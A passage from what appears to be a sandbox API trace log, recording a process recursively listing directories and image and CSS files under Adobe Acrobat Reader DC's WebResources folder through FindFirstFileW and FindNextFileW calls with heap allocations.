lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0263.145] GetProcessHeap () returned 0xc10000 [0263.145] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0263.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0263.147] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.147] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0263.148] GetProcessHeap () returned 0xc10000 [0263.148] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0263.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7068, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xfdf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="download-btn.png", cAlternateFileName="DOWNLO~1.PNG")) returned 1 [0263.556] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_info2x.png", cAlternateFileName="FILE_I~2.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd43, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo_retina.png", cAlternateFileName="LOGO_R~1.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0263.557] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbe69, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0263.557] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0263.559] GetProcessHeap () returned 0xc10000 [0263.559] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0263.559] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0263.559] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0263.560] GetProcessHeap () returned 0xc10000 [0263.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0263.560] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0263.560] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0263.560] GetProcessHeap () returned 0xc10000 [0263.560] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0263.562] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0263.562] GetProcessHeap () returned 0xc10000 [0263.562] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0263.562] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0263.582] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.582] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0263.582] GetProcessHeap () returned 0xc10000 [0263.582] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0263.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0263.590] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0868bef, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0868bef, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.590] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1 [0263.590] GetProcessHeap () returned 0xc10000 [0263.590] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0263.590] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0263.592] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.592] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0263.592] GetProcessHeap () returned 0xc10000 [0263.592] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0263.592] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\css\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop-tool-view.css", cAlternateFileName="DESKTO~1.CSS")) returned 1 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="home-selector.css", cAlternateFileName="HOME-S~1.CSS")) returned 1 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x494f, dwReserved0=0x0, dwReserved1=0x0, cFileName="home-view.css", cAlternateFileName="HOME-V~1.CSS")) returned 1 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool-selector.css", cAlternateFileName="TOOL-S~1.CSS")) returned 1 [0263.732] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602a, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool-view.css", cAlternateFileName="TOOL-V~1.CSS")) returned 1 [0263.733] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602a, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool-view.css", cAlternateFileName="TOOL-V~1.CSS")) returned 0 [0263.733] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0263.734] GetProcessHeap () returned 0xc10000 [0263.734] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0263.734] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf088edfc, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0263.735] GetProcessHeap () returned 0xc10000 [0263.735] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0263.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\plugins\\tracked-send\\images\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, 